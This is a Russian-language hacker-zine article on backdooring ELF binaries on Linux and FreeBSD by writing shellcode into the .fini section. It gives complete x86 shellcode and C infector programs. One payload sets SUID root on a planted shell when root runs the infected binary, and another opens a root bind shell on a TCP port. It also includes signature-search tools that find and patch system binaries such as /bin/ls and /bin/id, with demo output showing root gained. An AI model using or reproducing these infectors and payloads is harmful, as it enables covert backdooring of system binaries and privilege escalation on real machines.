-= fini infect =-

  content:

  [0]  about
  [1]  proof of concept
  [2]  elf section headerz
  [3]  signature search


~~  [0]  about  ~~

     В  одном  из  прошлых номеров упоминалась возможность инфецирования файлов
  через  секцию  dtors.  А я тут случайно обнаружил такую секцию, как .fini. Её
  генерит  gcc  и  она  вызывается  после  работы проги для какой-то там хрени,
  которая уже никого не заботит вобщем-то.

  Смотрим дамп:
 804aa9f:       90                      nop
 804aaa0:       83 eb 04                sub    $0x4,%ebx
 804aaa3:       ff d0                   call   *%eax
 804aaa5:       8b 03                   mov    (%ebx),%eax
 804aaa7:       83 f8 ff                cmp    $0xffffffff,%eax
 804aaaa:       75 f4                   jne    804aaa0 <geteuid@plt+0x1df8>
 804aaac:       58                      pop    %eax
 804aaad:       5b                      pop    %ebx
 804aaae:       5d                      pop    %ebp
 804aaaf:       c3                      ret

0804aab0 <.fini>:
 804aab0:       55                      push   %ebp
 804aab1:       89 e5                   mov    %esp,%ebp
 804aab3:       53                      push   %ebx
 804aab4:       83 ec 04                sub    $0x4,%esp
 804aab7:       e8 56 e2 ff ff          call   8048d12 <geteuid@plt+0x6a>
 804aabc:       81 c3 7c 1c 00 00       add    $0x1c7c,%ebx
 804aac2:       e8 59 e2 ff ff          call   8048d20 <geteuid@plt+0x78>
 804aac7:       5a                      pop    %edx
 804aac8:       5b                      pop    %ebx
 804aac9:       5d                      pop    %ebp
 804aaca:       c3                      ret

     Поэтому  я  решил проверить - а что если в секцию .fini записать свой код?
  Как ни странно всё отлично прокатило. Единственный минус - не так много места
  и  уже  спущеная часть регистров. Но для нормального шеллкода вполне неплохо.
  Для  примера  напишем  софтину  -  которая  будет  инфецировать  секцию .fini
  указанного   бинарника.  Код  например  должен  делать  такую  полезную  вещь
  проверять euid юзера, и если это рут - делать chown root.root и chmod 4755 на
  какой-нить  файл  типа шелла. Например мы заразили так ls. Заходим в систему,
  рут  пока  лазает  себе и не подозревает ничего. Создаём файл, на который наш
  хеллкод в заражённой проге будет ставить +SUID и ждём. благо ls вызывается оч
  часто,  мы весьма скоро получаем рут шелл. Быстро юзаем его и сливаем, ну это
  например. А вообще способов применения тьма. Перейдём к практике.


~~  [1]  proof of concept  ~~

  Начнём, как водится, с написания шеллкода. Вот такого например (Linux/x86):

.global _start
_start:

         # geteuid
  cdq
  push $49
  pop %eax
  int $128

         # is euid == 0 ?
  cmp %eax, %edx
  jne xt

         # chown root.root file
  mov %eax, %ecx
  push $16
  pop %eax
  jmp ad

dm:
  pop %ebx
  int $0x80

         # chmod 4755 file
  movw $04755, %cx
  mov $15, %al
  int $128

xt:
         # exit
  push $1
  pop  %eax
  int $128

ad:
  call dm
.asciz "/tmp/zash"


  А в дампе это чудо выглядит вот так:

00000000 <_start>:
   0:   99                      cltd
   1:   6a 31                   push   $0x31
   3:   58                      pop    %eax
   4:   cd 80                   int    $0x80
   6:   39 c2                   cmp    %eax,%edx
   8:   75 12                   jne    1c <xt>
   a:   89 c1                   mov    %eax,%ecx
   c:   6a 10                   push   $0x10
   e:   58                      pop    %eax
   f:   eb 10                   jmp    21 <ad>

00000011 <dm>:
  11:   5b                      pop    %ebx
  12:   cd 80                   int    $0x80
  14:   66 b9 ed 09             mov    $0x9ed,%cx
  18:   b0 0f                   mov    $0xf,%al
  1a:   cd 80                   int    $0x80

0000001c <xt>:
  1c:   6a 01                   push   $0x1
  1e:   58                      pop    %eax
  1f:   cd 80                   int    $0x80

00000021 <ad>:
  21:   e8 eb ff ff ff          call   11 <dm>
  26:   2f                      das
  27:   74 6d                   je     96 <ad+0x75>
  29:   70 2f                   jo     5a <ad+0x39>
  2b:   7a 61                   jp     8e <ad+0x6d>
  2d:   73 68                   jae    97 <ad+0x76>


     Для  примера  напишем  простой  инфектор, который принимает путь к файлу и
  оффсет в качестве параметров на входе и вшивает наш код в файл. Вот такой вот
  инфектор:

#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

char hell[] =
"\x99\x6a\x31\x58\xcd\x80\x39\xc2\x75\x12\x89\xc1\x6a\x10"
"\x58\xeb\x10\x5b\xcd\x80\x66\xb9\xed\x09\xb0\x0f\xcd\x80"
"\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff/tmp/zash";


int main(int argc, char *argv[])
{
    int fd, k;
    unsigned int addr = 0, offs;

    if (argc < 3)
    {
        printf("Usage: %s <file> <addr>\n", argv[0]);
        return 0;
    }

    sscanf(argv[2], "%x", &addr);

    offs = addr - 0x08048000;
    printf("[+] using offset 0x%x\n", offs);

    fd = open(argv[1], O_WRONLY);
    if (fd < 0)
    {
        printf("[-] cant open %s\n", argv[1]);
        return 0;
    }

    printf("[+] infecting %s\n", argv[1]);

    lseek(fd, offs, 0);
    write(fd, &hell, strlen(hell)+1);
    close(fd);

    printf("[+] %i bytes writen done\n", strlen(hell));
    return 0;
}


 Юзаем:

 # gcc -o inf inf.c
 # objdump -d /bin/id | grep -a "<fini>:"
 0804aab0 <.fini>:
 # ./inf /bin/id 0x0804aab0
 [+] using offset 0x2ab0
 [+] infecting /bin/id
 [+] 49 bytes writen done
 #

 Гатова =) На самом деле записываем не 49, а 50 байт, ибо в конце строки
 "/tmp/zash" нужен ноль. Дальше тест:

 $ id
 uid=13(dead) gid=52(other) groups=52(other)
 $ cat sh.c
 #include <stdio.h>

 int main()
 {
    setuid(geteuid());
    execl("/bin/sh", "sh", 0);
    return 0;
 }

 $ gcc -o /tmp/zash sh.c
 $ ls -l /tmp/zash
 total 42
 drwxrwxrwt 4 sys sys 234 Dec 21 10:22 .
 drwxr-xr-x 26 root root 1024 Dec 21 08:10 ..
 drwxrwxrwx 2 root root 107 Dec 14 18:51 .pcmcia
 ...
 -rwxr-xr-x 1 dead other 2924 Dec 21 10:22 zash
 ...

 с другой консоли под рутом запускаем заражённый файл
 # id
 uid=0(root) gid=0(root) groups=0(root)
 # ls -l /tmp/zash
 -rwsr-xr-x 1 root root 2924 Dec 21 10:22 zash

 и наконец с непривилегированного шелла проверяем:

 $ /tmp/zash
 # id
 uid=0(root) gid=52(other) groups=52(other)
 # yahoo


     Ибо ELF+LIBC весьма стандартны, глянем можно ли инфектить .fini в FreeBSD.
  Для начала посмотрим дамп какого-нить бинарника (пусть это будет /bin/ls):

 # objdump -d /bin/ls
 ...
 807b97e:   c3                      ret
 807b97f:   90                      nop
 807b980:   55                      push   %ebp
 807b981:   89 e5                   mov    %esp,%ebp
 807b983:   83 ec 08                sub    $0x8,%esp
 807b986:   c9                      leave
 807b987:   c3                      ret
    ...
Disassembly of section .fini:

0807ba10 <.fini>:
 807ba10:   e8 3b c7 fc ff          call   0x8048150
 807ba15:   c3                      ret

 Всего шесть байт. Маловато будет.. а хотя.. посмотрим таблицу секций:

/bin/ls:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .init         0000000b  080480ac  080480ac  000000ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .text         00033956  080480b8  080480b8  000000b8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  2 .fini         00000006  0807ba10  0807ba10  00033a10  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  3 .rodata       00010bac  0807ba20  0807ba20  00033a20  2**5
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .data         0000172c  0808d5e0  0808d5e0  000445e0  2**5
                  CONTENTS, ALLOC, LOAD, DATA
  5 .eh_frame     00000004  0808ed0c  0808ed0c  00045d0c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  6 .ctors        00000008  0808ed10  0808ed10  00045d10  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  7 .dtors        00000008  0808ed18  0808ed18  00045d18  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  8 .bss          0000a890  0808ed20  0808ed20  00045d20  2**5
                  ALLOC
  9 .comment      0000286c  00000000  00000000  00045d20  2**0
                  CONTENTS, READONLY
 10 .note         0000111c  00000000  00000000  0004858c  2**0
                  CONTENTS, READONLY
 11 .note.ABI-tag 00000018  08048094  08048094  00000094  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA


     Итого  6  байт, следом идёт секция .rodata. Расстояние между ними 16 байт,
  но  всё равно этого маловато для полноценного стафа. В rodata лежат строковые
  константы  и  куча  нулей. Сперва идёт копирайт FreeBSD и инфа о версии, ну и
  так далее. Поэтому попробуем впихнуть в .fini какой-нить большой код. Такой к
  примеру:

bind:     file format elf32-i386

Disassembly of section .text:

08048074 <_start>:
 8048074:   31 c0                   xor    %eax,%eax
 8048076:   89 c3                   mov    %eax,%ebx
 8048078:   6a 02                   push   $0x2
 804807a:   50                      push   %eax
 804807b:   cd 80                   int    $0x80
 804807d:   39 c3                   cmp    %eax,%ebx
 804807f:   75 73                   jne    80480f4 <exit>
 8048081:   31 c0                   xor    %eax,%eax
 8048083:   6a 06                   push   $0x6
 8048085:   6a 01                   push   $0x1
 8048087:   6a 02                   push   $0x2
 8048089:   6a 61                   push   $0x61
 804808b:   50                      push   %eax
 804808c:   cd 80                   int    $0x80
 804808e:   89 c2                   mov    %eax,%edx
 8048090:   31 c0                   xor    %eax,%eax
 8048092:   66 50                   push   %ax
 8048094:   50                      push   %eax
 8048095:   66 68 fe 6a             pushw  $0x6afe
 8048099:   66 6a 02                pushw  $0x2
 804809c:   89 e1                   mov    %esp,%ecx
 804809e:   6a 10                   push   $0x10
 80480a0:   51                      push   %ecx
 80480a1:   52                      push   %edx
 80480a2:   6a 68                   push   $0x68
 80480a4:   50                      push   %eax
 80480a5:   cd 80                   int    $0x80
 80480a7:   31 c0                   xor    %eax,%eax
 80480a9:   50                      push   %eax
 80480aa:   52                      push   %edx
 80480ab:   6a 6a                   push   $0x6a
 80480ad:   50                      push   %eax
 80480ae:   cd 80                   int    $0x80
 80480b0:   31 c0                   xor    %eax,%eax
 80480b2:   50                      push   %eax
 80480b3:   50                      push   %eax
 80480b4:   52                      push   %edx
 80480b5:   6a 1e                   push   $0x1e
 80480b7:   50                      push   %eax
 80480b8:   cd 80                   int    $0x80
 80480ba:   89 c1                   mov    %eax,%ecx
 80480bc:   31 c0                   xor    %eax,%eax
 80480be:   6a 02                   push   $0x2
 80480c0:   51                      push   %ecx
 80480c1:   6a 5a                   push   $0x5a
 80480c3:   50                      push   %eax
 80480c4:   cd 80                   int    $0x80
 80480c6:   31 c0                   xor    %eax,%eax
 80480c8:   6a 01                   push   $0x1
 80480ca:   51                      push   %ecx
 80480cb:   6a 5a                   push   $0x5a
 80480cd:   50                      push   %eax
 80480ce:   cd 80                   int    $0x80
 80480d0:   31 c0                   xor    %eax,%eax
 80480d2:   50                      push   %eax
 80480d3:   51                      push   %ecx
 80480d4:   6a 5a                   push   $0x5a
 80480d6:   50                      push   %eax
 80480d7:   cd 80                   int    $0x80
 80480d9:   31 c0                   xor    %eax,%eax
 80480db:   50                      push   %eax
 80480dc:   68 6e 2f 73 68          push   $0x68732f6e
 80480e1:   68 2f 2f 62 69          push   $0x69622f2f
 80480e6:   89 e3                   mov    %esp,%ebx
 80480e8:   50                      push   %eax
 80480e9:   53                      push   %ebx
 80480ea:   89 e2                   mov    %esp,%edx
 80480ec:   50                      push   %eax
 80480ed:   52                      push   %edx
 80480ee:   53                      push   %ebx
 80480ef:   6a 3b                   push   $0x3b
 80480f1:   50                      push   %eax
 80480f2:   cd 80                   int    $0x80

080480f4 <exit>:
 80480f4:   31 c0                   xor    %eax,%eax
 80480f6:   50                      push   %eax
 80480f7:   6a 01                   push   $0x1
 80480f9:   50                      push   %eax
 80480fa:   cd 80                   int    $0x80

    В инклудах лежит утилита shc_grab.c с помощью которой можно перегнать
 бинаный код в сишный дамп. На выходе получаем файл shellcode.h :

 # gcc -o shc_grab shc_grab.c
 # ./shc_grab ./bind 0x74
 [+] using offset 0x74
 [+] done. shellcode size = 136
 # cat shellcode.h
char shellcode[] =
"\x31\xc0\x89\xc3\x6a\x02\x50\xcd\x80\x39\xc3\x75\x73\x31"
"\xc0\x6a\x06\x6a\x01\x6a\x02\x6a\x61\x50\xcd\x80\x89\xc2"
"\x31\xc0\x66\x50\x50\x66\x68\xfe\x6a\x66\x6a\x02\x89\xe1"
"\x6a\x10\x51\x52\x6a\x68\x50\xcd\x80\x31\xc0\x50\x52\x6a"
"\x6a\x50\xcd\x80\x31\xc0\x50\x50\x52\x6a\x1e\x50\xcd\x80"
"\x89\xc1\x31\xc0\x6a\x02\x51\x6a\x5a\x50\xcd\x80\x31\xc0"
"\x6a\x01\x51\x6a\x5a\x50\xcd\x80\x31\xc0\x50\x51\x6a\x5a"
"\x50\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\x6a\x3b\x50"
"\xcd\x80\x31\xc0\x50\x6a\x01\x50\xcd\x80";

 Для вндрения можно взять такой код:

 #include <stdio.h>
 #include <fcntl.h>

 #include "shellcode.h"

 int main()
 {
    int fd;

    fd = open(PROG, O_WRONLY);
    lseek(fd, OFFS, 0);
    write(fd, shellcode, sizeof(shellcode));
    close(fd);
    return 0;
 }

 Попробуем:

 # objdump -h /bin/ls | grep fini
   2 .fini         00000006  0807ba10  0807ba10  00033a10  2**2
 # gcc -o patcher -DPROG=/bin/ls -DOFFS=0x33a10 patcher.c
 # ./patcher
 # objdump -d -j .fini /bin/ls

0807ba10 <.fini>:
 807ba10:   31 c0                   xor    %eax,%eax
 807ba12:   89 c3                   mov    %eax,%ebx
 807ba14:   6a 02                   push   $0x2

 #

 Дамп показывает только 6 байт, хотя записалось больше. Дело в том, что на
 секцию .fini стоит флаг CODE, а на .rodata - DATA. Тоесть по идее в .rodata
 код выполняться не должен. Тем не менее, проверим. Если всё верно, то шеллкод
 должен вывесить рутшелл на tcp-порту 65130.

 # ls
 patcher patcher.c shellcode.h
 # telnet 127.0.0.1 65130
 Trying 127.0.0.1...
 Connected to localhost.
 Escape character is '^]'.
 id;
 uid=0(root) gid=0(root) groups=0(root)
 ^]

 Всё работает. Увы с сигнатурами в FreeBSD туго, ибо искать 6 байт, 4 из
 которых это адрес - не эффективно. Как вариант, можно искать секцию .rodata


~~  [2]  elf section headerz  ~~

  Чтобы инфецировать fini, неплохо бы уметь находить оффсет к ней. Первый и
  самый банальный способ - objdump:

  # objdump -h /bin/ls
/bin/ls:     формат файла elf32-i386

Разделы:
Инд Имя           Размер    VMA       LMA       Файл      Вырав
  0 .interp       00000013  08048134  08048134  00000134  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048148  08048148  00000148  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .hash         00000284  08048168  08048168  00000168  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .dynsym       000005c0  080483ec  080483ec  000003ec  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynstr       000003e0  080489ac  080489ac  000009ac  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .gnu.version  000000b8  08048d8c  08048d8c  00000d8c  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version_r 00000090  08048e44  08048e44  00000e44  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .rel.dyn      00000028  08048ed4  08048ed4  00000ed4  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.plt      000002a0  08048efc  08048efc  00000efc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .init         00000017  080491a0  080491a0  000011a0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 10 .plt          00000550  080491b8  080491b8  000011b8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .text         0000b7b0  08049710  08049710  00001710  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .fini         0000001b  08054ec0  08054ec0  0000cec0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .rodata       00003a18  08054ee0  08054ee0  0000cee0  2**5
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 14 .eh_frame_hdr 0000002c  080588f8  080588f8  000108f8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 15 .eh_frame     0000009c  08058924  08058924  00010924  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .ctors        00000008  08059000  08059000  00011000  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 17 .dtors        00000008  08059008  08059008  00011008  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .jcr          00000004  08059010  08059010  00011010  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .dynamic      000000d0  08059014  08059014  00011014  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .got          00000008  080590e4  080590e4  000110e4  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got.plt      0000015c  080590ec  080590ec  000110ec  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .data         0000010c  08059260  08059260  00011260  2**5
                  CONTENTS, ALLOC, LOAD, DATA
 23 .bss          00000430  08059380  08059380  0001136c  2**5
                  ALLOC
 24 .comment      0000029a  00000000  00000000  0001136c  2**0
                  CONTENTS, READONLY

  Оффсет соответственно 0x0cec0, вот из FreeBSD таблица для /bin/ls :

  /bin/ls:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .init         0000000b  080480ac  080480ac  000000ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .text         00033956  080480b8  080480b8  000000b8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  2 .fini         00000006  0807ba10  0807ba10  00033a10  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  3 .rodata       00010bac  0807ba20  0807ba20  00033a20  2**5
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .data         0000172c  0808d5e0  0808d5e0  000445e0  2**5
                  CONTENTS, ALLOC, LOAD, DATA
  5 .eh_frame     00000004  0808ed0c  0808ed0c  00045d0c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  6 .ctors        00000008  0808ed10  0808ed10  00045d10  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  7 .dtors        00000008  0808ed18  0808ed18  00045d18  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  8 .bss          0000a890  0808ed20  0808ed20  00045d20  2**5
                  ALLOC
  9 .comment      0000286c  00000000  00000000  00045d20  2**0
                  CONTENTS, READONLY
 10 .note         0000111c  00000000  00000000  0004858c  2**0
                  CONTENTS, READONLY
 11 .note.ABI-tag 00000018  08048094  08048094  00000094  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA

     Теперь  попробуем  автоматизировать  процесс,  будем находить секцию .fini
  автоматически.  Суть в том что у .fini будет фиксированный размер. Стало быть
  секцию  эту  можно  найти  по  размеру  (0x1b  для Linux и 0x06 для FreeBSD).
  Алгоритм   такой:  из  elf  заголовка  вытягиваем  адрес  табилцы  секций,  и
  проходимся  по  ней,  проверяя  размер.  Програмную  секцию размером в 6 байт
  трудно  перепутать  с чем-то, так что в freebsd всё сравнительно легко =) Вот
  код:

 /* get offset 2 .fini section on x86 */
 /*  types: */
 /*   0x06   - FreeBSD/x86  */
 /*   0x1b   - Linux/x86    */

 #include <stdio.h>
 #include <fcntl.h>
 #include <elf.h>

 int main(int argc, char *argv[])
 {
    int i,fd;
    Elf32_Ehdr ph;
    Elf32_Shdr chk;

    if (argc < 2)
    {
    printf("usage: %s <file>\n", argv[0]);
    return 0;
    }

    fd = open(argv[1], O_RDONLY);
    read(fd, &ph, sizeof(Elf32_Ehdr));

    lseek(fd, ph.e_shoff, 0);
    for(i=0; i<ph.e_shnum; i++)
    {
    read(fd, &chk, sizeof(Elf32_Shdr));
    if (chk.sh_size == 0x06 || chk.sh_size == 0x1b)
        printf(".fini offset = 0x%x\n", chk.sh_offset);
    }

    close(fd);
    return 0;
 }



~~ [3]  signature search  ~~

     Увы, такие утилиты как sstrip вырезают символьные секции и их заголовки из
  бинарника,  так  что  найти  оффсет  к .fini с помощью описанных выше методов
  будет  не  легко.  Решение  -  поиск  .fini по сигнатуре. Для начала о Linux.
  Просмотрев  дампы  многих  бинарников,  можно убедится что 80% из них в _fini
  имеют примерно такой вид:

0804aab0 <.fini>:
 804aab0:       55                      push   %ebp
 804aab1:       89 e5                   mov    %esp,%ebp
 804aab3:       53                      push   %ebx
 804aab4:       83 ec 04                sub    $0x4,%esp

 804aab7:       e8 56 e2 ff ff          call   8048d12 <geteuid@plt+0x6a>
 804aabc:       81 c3 7c 1c 00 00       add    $0x1c7c,%ebx
 804aac2:       e8 59 e2 ff ff          call   8048d20 <geteuid@plt+0x78>

 804aac7:       5a                      pop    %edx
 804aac8:       5b                      pop    %ebx
 804aac9:       5d                      pop    %ebp
 804aaca:       c3                      ret

     Дамп  можно  разбить  на  3 части - первая и третья неизменны, во второй в
  разных  бинарниках разные адреса вызовов. Поэтому в качестве сигнатуры, опять
  так по наблюдениям дампов, вполне сгодятся

 0x83 0xec 0x04   - первая часть
 ... 16 байт под вызовы
 0x5a 0x5b        - вторая часть

     Ну  а  написать  прогу, которая будет находить данную сигнатуру в заданном
  файле для хаксора - пара пустяков =) Вот наш варинат:

/* seek .fini section on Linux/x86 */
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

char hell[] =
"\x99\x6a\x31\x58\xcd\x80\x39\xc2\x75\x12\x89\xc1\x6a\x10"
"\x58\xeb\x10\x5b\xcd\x80\x66\xb9\xed\x09\xb0\x0f\xcd\x80"
"\x6a\x01\x58\xcd\x80\xe8\xeb\xff\xff\xff/tmp/zash";

unsigned char sig1[] = "\x83\xec\x04";
unsigned char sig2[] = "\x5a\x5b\x5d\xc3";

#define SKIP2   0x10
#define BACK2   0x07


int check_offs(int fd)
{
    unsigned char a;

    lseek(fd, SKIP2, 1);

    read(fd, &a, 1);
    if (a != sig2[0]) return 0;

    read(fd, &a, 1);
    if (a != sig2[1]) return 0;

    read(fd, &a, 1);
    if (a != sig2[2]) return 0;

    return 1;
}


int main(int argc, char *argv[])
{
    int i,fd;
    unsigned int offs;
    unsigned char a;

    if (argc < 2)
    {
        printf("usage: %s <file>\n", argv[0]);
        return 0;
    }

    if (argc > 2)
    {
        sscanf(argv[2],"%x", &offs);
        offs -= 0x08048000;
        printf("theory addr = 0x%x\n", offs);
    }

    fd = open(argv[1], O_RDONLY);

    if (fd < 0)
    {
        perror("open");
        return 0;
    }

    i = offs = 0;

    while( read(fd, &a, 1) == 1)
    {
        offs++;

        if (a == sig1[i]) i++;
        else i = 0;

        if (i == 3)
        {
            if (check_offs(fd)) break;
            offs += 17;
            i = 0;
        }
    }

    offs -= BACK2;

    if (i != 3)
    {
        printf("<_fini> not found\n");
        return 0;
    }

    printf("offset <_fini>: 0x%x\n", offs);
    close(fd);

    fd = open(argv[1], O_WRONLY);
    lseek(fd, offs, 0);
    write(fd, &hell, strlen(hell)+1);

    close(fd);
    return 0;
}

   # gcc -o infect infect.c
   # ./infect /bin/id
   offset <_fini>: 0x2ab0
   # heh infected


     Теперь сложнее - FreeBSD. Всего 6 байт из которых 4 - это адрес, который в
  разных  бинарниках разный. Попробуем поискать иначе. Уже говорилось выше, что
  после   .fini  часто  идёт  секция  .rodata,  в  которой  хранятся  строковые
  константы. Посмотрим что в ней хранится:

  # objdump -s -j .fini ./ls

./ls:     file format elf32-i386

Contents of section .rodata:
 804bbe0 00000000 00000000 00000000 00000000  ................
 804bbf0 00000000 00000000 00000000 00000000  ................
 804bc00 40282329 20436f70 79726967 68742028  @(#) Copyright (
 804bc10 63292031 3938392c 20313939 332c2031  c) 1989, 1993, 1
 804bc20 3939340a 09546865 20526567 656e7473  994..The Regents
 804bc30 206f6620 74686520 556e6976 65727369   of the Universi
 804bc40 7479206f 66204361 6c69666f 726e6961  ty of California
 804bc50 2e202041 6c6c2072 69676874 73207265  .  All rights re
 804bc60 73657276 65642e0a 0000434f 4c554d4e  served....COLUMN
 804bc70 53000000 00000000 00000000 00000000  S...............
 804bc80 31414243 4647484c 50525457 61626364  1ABCFGHLPRTWabcd
 804bc90 66676869 6b6c6d6e 6f707172 73747577  fghiklmnopqrstuw
 804bca0 7800434c 49434f4c 4f520043 4c49434f  x.CLICOLOR.CLICO
 804bcb0 4c4f525f 464f5243 45005445 524d0041  LOR_FORCE.TERM.A
 804bcc0 46004142 006d6500 6d64006f 70006f63  F.AB.me.md.op.oc
 804bcd0 004c5343 4f4c4f52 53000000 4c930408  .LSCOLORS...L...
 804bce0 f8950408 f8950408 f8950408 f8950408  ................
 804bcf0 f8950408 f8950408 f8950408 f8950408  ................
 804bd00 f8950408 f8950408 f8950408 f8950408  ................
 804bd10 f8950408 f8950408 f8950408 a3940408  ................
 804bd20 70930408 94930408 f8950408 f8950408  p...............
 804bd30 38940408 5c940408 54940408 f8950408  8...\...T.......
 804bd40 f8950408 f8950408 78940408 f8950408  ........x.......
 804bd50 f8950408 f8950408 84940408 f8950408  ................
 804bd60 90940408 f8950408 94950408 f8950408  ................
 804bd70 f8950408 ac950408 f8950408 f8950408  ................
 804bd80 f8950408 f8950408 f8950408 f8950408  ................
 804bd90 f8950408 f8950408 f8950408 a0940408  ................
 ...

  После инфецирования получается так:

./ls:     file format elf32-i386

Contents of section .rodata:
 804bbe0 cd8089c2 31c06650 506668fe 6a666a02  ....1.fPPfh.jfj.
 804bbf0 89e16a10 51526a68 50cd8031 c050526a  ..j.QRjhP..1.PRj
 804bc00 6a50cd80 31c05050 526a1e50 cd8089c1  jP..1.PPRj.P....
 804bc10 31c06a02 516a5a50 cd8031c0 6a01516a  1.j.QjZP..1.j.Qj
 804bc20 5a50cd80 31c05051 6a5a50cd 8031c050  ZP..1.PQjZP..1.P
 804bc30 686e2f73 68682f2f 626989e3 505389e2  hn/shh//bi..PS..
 804bc40 5052536a 3b50cd80 31c0506a 0150cd80  PRSj;P..1.Pj.P..
 804bc50 00202041 6c6c2072 69676874 73207265  .  All rights re
 804bc60 73657276 65642e0a 0000434f 4c554d4e  served....COLUMN
 804bc70 53000000 00000000 00000000 00000000  S...............
 804bc80 31414243 4647484c 50525457 61626364  1ABCFGHLPRTWabcd
 804bc90 66676869 6b6c6d6e 6f707172 73747577  fghiklmnopqrstuw
 804bca0 7800434c 49434f4c 4f520043 4c49434f  x.CLICOLOR.CLICO
 804bcb0 4c4f525f 464f5243 45005445 524d0041  LOR_FORCE.TERM.A
 804bcc0 46004142 006d6500 6d64006f 70006f63  F.AB.me.md.op.oc
 804bcd0 004c5343 4f4c4f52 53000000 4c930408  .LSCOLORS...L...
 804bce0 f8950408 f8950408 f8950408 f8950408  ................
 804bcf0 f8950408 f8950408 f8950408 f8950408  ................
 804bd00 f8950408 f8950408 f8950408 f8950408  ................
 804bd10 f8950408 f8950408 f8950408 a3940408  ................
 804bd20 70930408 94930408 f8950408 f8950408  p...............
 804bd30 38940408 5c940408 54940408 f8950408  8...\...T.......
 804bd40 f8950408 f8950408 78940408 f8950408  ........x.......


     Суть  поиска такая - ищем какую-нибудь сигнатуру среди строк. А потом идём
  назад  до  ret-a (0xc3). Это и будет .fini, ибо эта секция как раз и граничит
  всегда  со  строками.  Как видно из дампа, в FreeBSD компилер вкручивает свой
  тэг  в  массив  строк:  @(#)  Copyright...  Как  показала  практика, поиск по
  сигнатуре "@(#) C" вполне неплох. Реализация:

#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

#include "shellcode.h"

unsigned int offs;
unsigned char sig[] = "@(#) C";

#define BACK2   0x0a

int check_offs(int fd)
{
    unsigned int cnt;
    unsigned char a;

    lseek(fd, -5, 1);

    read(fd, &a, 1);

    for (cnt=0; cnt< 0xf000; cnt++)
    {
    if (a == 0xc3) break;
    lseek(fd, -2, 1);
    read(fd, &a, 1);
    }

    if (a != 0xc3) return 0;

    offs -= cnt;
    return 1;
}


int main(int argc, char *argv[])
{
    int i,fd;
    unsigned int bak;
    unsigned char a;

    if (argc < 2)
    {
    printf("usage: %s <file>\n", argv[0]);
    return 0;
    }

    if (argc > 2)
    {
    sscanf(argv[2],"%x", &offs);
    offs -= 0x08048000;
    printf("theory addr = 0x%x\n", offs);
    }

    fd = open(argv[1], O_RDONLY);

    if (fd < 0)
    {
    perror("open");
    return 0;
    }

    i = offs = 0;

    while( read(fd, &a, 1) == 1)
    {
    offs++;

    if (a == sig[i]) i++;
    else i = 0;

    if (i == 6) break;
    }

    if (i == 6)
    if (check_offs(fd)) i = 13;

    offs -= BACK2;

    if (i != 13)
    {
    printf("<.fini> not found\n");
    return 0;
    }

    printf("offset <.fini>: 0x%x\n", offs);
    close(fd);

    fd = open(argv[1], O_WRONLY);
    lseek(fd, offs, 0);
    write(fd, &shellcode, strlen(shellcode)+1);

    close(fd);

    return 0;
}


     Ну  вот  собственно  и  всё, что хотелось сказать по этому поводу. Область
  применения весьма богата, исходники к стотье - в инклудах.